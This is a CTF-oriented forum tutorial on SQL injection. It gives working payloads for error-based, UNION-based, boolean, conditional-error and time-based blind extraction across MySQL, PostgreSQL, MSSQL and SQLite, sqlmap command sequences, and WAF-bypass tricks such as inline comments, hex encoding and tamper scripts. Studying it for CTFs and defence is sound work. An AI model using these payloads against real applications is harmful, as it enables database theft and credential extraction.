SQL injections in CTF: UNION, blind SQLi and sqlmap part 2

Depov

Moderator
Staff member
MODERATOR
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
627
Reaction score
1,221
Deposit
0$
Techniques for PostgreSQL: CAST


Standard reception – through CAST(). As PortSwigger describes in the study blind SQL injection, trying to bring the string to integer causes the database to return the contents of the string in the error text. Payload ' AND 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS int)-- will return ERROR: invalid input syntax for type integer: "users". The same technique helps when the limit on the length of input does not allow the use of conditional answers.





The technique is dead if the application intercepts exceptions and shows a generic response (HTTP 500 without details). No errors – switch to UNION or blind.






UNION-based SQL injection: full chain of operation


UNION-based is the most common type of SQL injection in CTF. Operator UNION attaches to the original request arbitrary SELECT, the result is displayed on the page. According to Acunetix, UNION-based SQLi allows you to combine the results of several SELECT requests into a single HTTP response – provided that the original request outputs data.






Determination of the number of columns


Without a precise match of the number of columns UNION throws out the error. Two methods.





ORDER BY (binary search) Consistently increase the number: ' ORDER BY 1-- - OK, ' ORDER BY 5-- – error, ' ORDER BY 3-- - OK, ' ORDER BY 4-- - mistake. Three columns. We find for log2(N) requests - at 10 columns of only 4 requests.





UNION SELECT NULL. Add NULL-values: ' UNION SELECT NULL-- – error, ' UNION SELECT NULL, NULL-- – error, ' UNION SELECT NULL, NULL, NULL-- – result. Slower than ORDER BY, but more reliable in contexts where ORDER BY is syntactically banned (inside a sub-request or CTE).






Data extraction: three steps to the flag


After determining the number of columns, you need to find which of them are displayed on the page. Request -1' UNION SELECT 'aaa', 'bbb', 'ccc'-- will show where the lines appear - it is in these positions that subqueries are substituted. Significance -1 ensures that the original request will return the empty result and will not swirl the output.





Full chain for MySQL (three columns, second displayed):



-- Шаг 1: таблицы текущей БД

-1' UNION SELECT 1, GROUP_CONCAT(table_name), 3

FROM information_schema.tables WHERE table_schema=database()--

-- Шаг 2: столбцы целевой таблицы

-1' UNION SELECT 1, GROUP_CONCAT(column_name), 3

FROM information_schema.columns WHERE table_name='flag'--

-- Шаг 3: флаг

-1' UNION SELECT 1, flag, 3 FROM flag--





For SQLite — sqlite_master instead of information_schema: request -1' UNION SELECT 1, sql, 3 FROM sqlite_master WHERE type='table'-- will return CREATE TABLE with structure. More convenient than MySQL: for one query we get both tables and columns.





In PostgreSQL stricter typing – may be required CAST(1 AS text) instead of numerical plugs. WAF filters on UNION bypass the change of the register (uNiOn) or inline comments (UN/**/ION) – in more detail in the section about bypassing WAF.






Boolean-based blind SQLi in practice


Blind SQL injection is the most nude type of task in the CTF. No joke. The application does not return either the result of the request or the error - only indirect signs. According to PortSwigger, many real vulnerabilities are blind, and UNION techniques are not applicable to them.






Definition of TRUE/FALSE indicator


First of all, we find the difference between the answer with TRUE and FALSE. A classic example from PortSwigger Web Academy – cookie TrackingId: payload xyz' AND '1'='1 – the page contains “Welcome back” (TRUE); xyz' AND '1'='2 – text is missing (FALSE). The indicator can be anything: the length of the answer, HTTP status, the presence of a specific HTML element. I usually start with a diff of the response length in bytes – the most reliable marker.






Binary search by symbols


We extract the data by shame. Payload xyz' AND SUBSTRING((SELECT password FROM users WHERE username='Administrator'),1,1)>'m – if TRUE, symbol in the n-z range. Next request with >'t – FALSE, means the symbol between n and t. Each symbol is defined for 6-8 queries when binary search.





Manually, this is tolerable for an 8-character password (about 50 requests), but for a long flag is an unreasonable waste of time. On CTF I make 2-3 requests with hands to confirm the injection and understand the response format, further transfer to automation.






Conditional errors via CASE WHEN


More powerful boolean-based blind SQLi technique is for cases where the page content does not change at all, but the application handles database errors differently. How PortSwigger, Payload describes xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a causes zero division in TRUE (HTTP 500), with FALSE, the normal response.





Apply to data: substituted in CASE WHEN condition of the species Username='Administrator' AND SUBSTRING(Password,1,1)>'m' – and use the same binary search, but the indicator is no longer content, but HTTP status.






Time-based blind SQL injection: when there is no feedback at all


Time-based blind is an extreme case. The application returns the same response regardless of the request. The only leak channel is the server response time. Slow, painful, but working.





For MySQL: ' IF(SUBSTRING((SELECT flag FROM flag),1,1)='s', SLEEP(5), null)--. If the first symbol of the flag is 's' - the server will respond in 5 seconds, otherwise instantly. For PostgreSQL: '; SELECT CASE WHEN (SUBSTRING(password,1,1)='a') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users--. For MSSQL: '; IF (SUBSTRING((SELECT TOP 1 flag FROM flag),1,1)='s') WAITFOR DELAY '0:0:5'--.





According to OWASP, an alternative SLEEP() in MySQL — function BENCHMARK(): BENCHMARK(5000000, ENCODE('MSG','by 5 seconds')) performs the operation 5 million times, creating a delay that depends on the CPU server. The number of iterations should be calibrated for a specific purpose - unlike the deterministic SLEEP(N). Useful when SLEEP() blocked by WAF.





Manual overkill time-based blind SQL injection is not practical for any amount of data. On the CTF, a reasonable tactic: confirm the injection with a pair of manual requests, record the exact syntax and injection point, then transfer the work sqlmap.






sqlmap for CTF: from manual POC to SQLi automation


The transition from manual operation to SQLi sqlmap automation is a skill without which you will not go far on the CTF. The manual POC confirms the injection point and determines the DBMS. Further sqlmap makes the routine faster and more reliable.






Step-by-Step Workflow


Save HTTP request from Burp Suite to file (PCM → Copy to file). If the injection point is not obvious, we mark with an asterisk in a file. As Vaadata describes, sqlmap at the pentest is launched after manual injection identification, so as not to generate excess traffic. On CTF, this is even more important: rate-limiting can block IP after a flurry of automatic requests.





sqlmap -r req.txt --batch --level=3 --risk=2



sqlmap -r req.txt --dbs



sqlmap -r req.txt -D target_db --tables



sqlmap -r req.txt -D target_db -T flag --dump





Option --batch automatically answers questions with defaults – saves time. --level=3 expands the cookie check, User-Agent, Referer. --risk=2 includes OR-based payloads - on the prode are dangerous, on CTFs are permissible. For tasks with JSON body or non-standard cookies, it is more convenient to save the request through Burp and use -r, than collecting URL with hands with --cookie and --data.






Key flags for CTF


Option -p parameter specifies a specific parameter - passes the scan of the rest and speeds up the process. --technique=U restricts sqlmap for CTF only UNION-based equipment (similar to B for boolean, T for time-based) - reduces the time at times if the type of injection is already known from manual POC. --string="Welcome" sets the text marker TRUE response for blind scripts. --prefix and --suffix set the payload strapping for non-standard SQL designs when the injection sits inside the nested request or function.






When sqlmap fails


sqlmap is not a silver bullet. On the CTF there are tasks with WebSocket protocol, custom response format (JSON with nested logic), rate-limiting with captcha or WAF, which banits on signatures sqlmap (User-Agent sqlmap/1.x). In such cases, we write our own script. For boolean-based blind: send a request with the condition SUBSTRING(...)>'X', parsim answer to the marker, move binary search. For time-based, measure the response time. The delay threshold is better to determine dynamically: first measure the baseline without injection, then look for a deviation of 4+ seconds. On unstable CTF servers, the fixed threshold often gives false positives.






Bypass WAF SQL injection: techniques for CTF tasks


On advanced CTF tasks, raw payloads will not pass - it is worth filtering keywords or symbols. That's what works.





Change of the register. Filter blocks SELECT - trying SeLeCt. Databases are insensitive to a keyword register, and simple regex filters check for exact match. According to Invicti SQL Injection Cheat Sheet, this is one of the basic ways to bypass filtering.





Inline comments. UN/**/ION SE/**/LECT – parser SQL ignores comments, regex filter does not see a whole word. In MySQL special syntax /*!50000 UNION*/ performs the design only on MySQL 5.0+ - simultaneously bypassing the filter and fingerprinting DBMS. A beautiful trick.





Hex-coding of strings. If quotes are filtered, we transmit values in hex: WHERE table_name=0x666C6167 instead of WHERE table_name='flag'. Works in MySQL. For PostgreSQL and MSSQL – analog via CHR(): CHR(102)||CHR(108)||CHR(97)||CHR(103).





Replacement of gaps. When blocking spaces – /**/, %09 (tab), %0a (newline) or brackets: UNION(SELECT(flag)FROM(flag)).





Double URL encoding. If the WAF decodes the URL once and the application twice %2527 after the first decoding will become %27, after the second is a single quotation.



Tamper sqlmap scripts for filter bypass


Automation bypass WAF SQL injections via sqlmap: sqlmap -r req.txt --tamper=space2comment,randomcase. Popular tamper scripts: space2comment – gaps in /**/, randomcase – random register, between – replacement > on BETWEEN, charencode – Payload URL encoding, equaltolike – replacement = on LIKE. The combination of multiple scripts through a comma often solves problems where one reception does not pass. If standard scripts are not enough, sqlmap supports custom: Python file with function tamper(payload), modifying each payloade before shipment.





I see the same picture in beginner CTF players: they teach SQL injections on cheat shits, copy payloads, launch sqlmap for everything in a row. When the standard payloade does not work, they hang out. The problem is that sqlmap creates a false sense of competence. A person “solves” the problem, but does not understand why extractvalue returns only 32 characters, why ORDER BY 4 falls, huh ORDER BY 3 no, why boolean-based blind requires binary search rather than linear overkill.
 
Top Bottom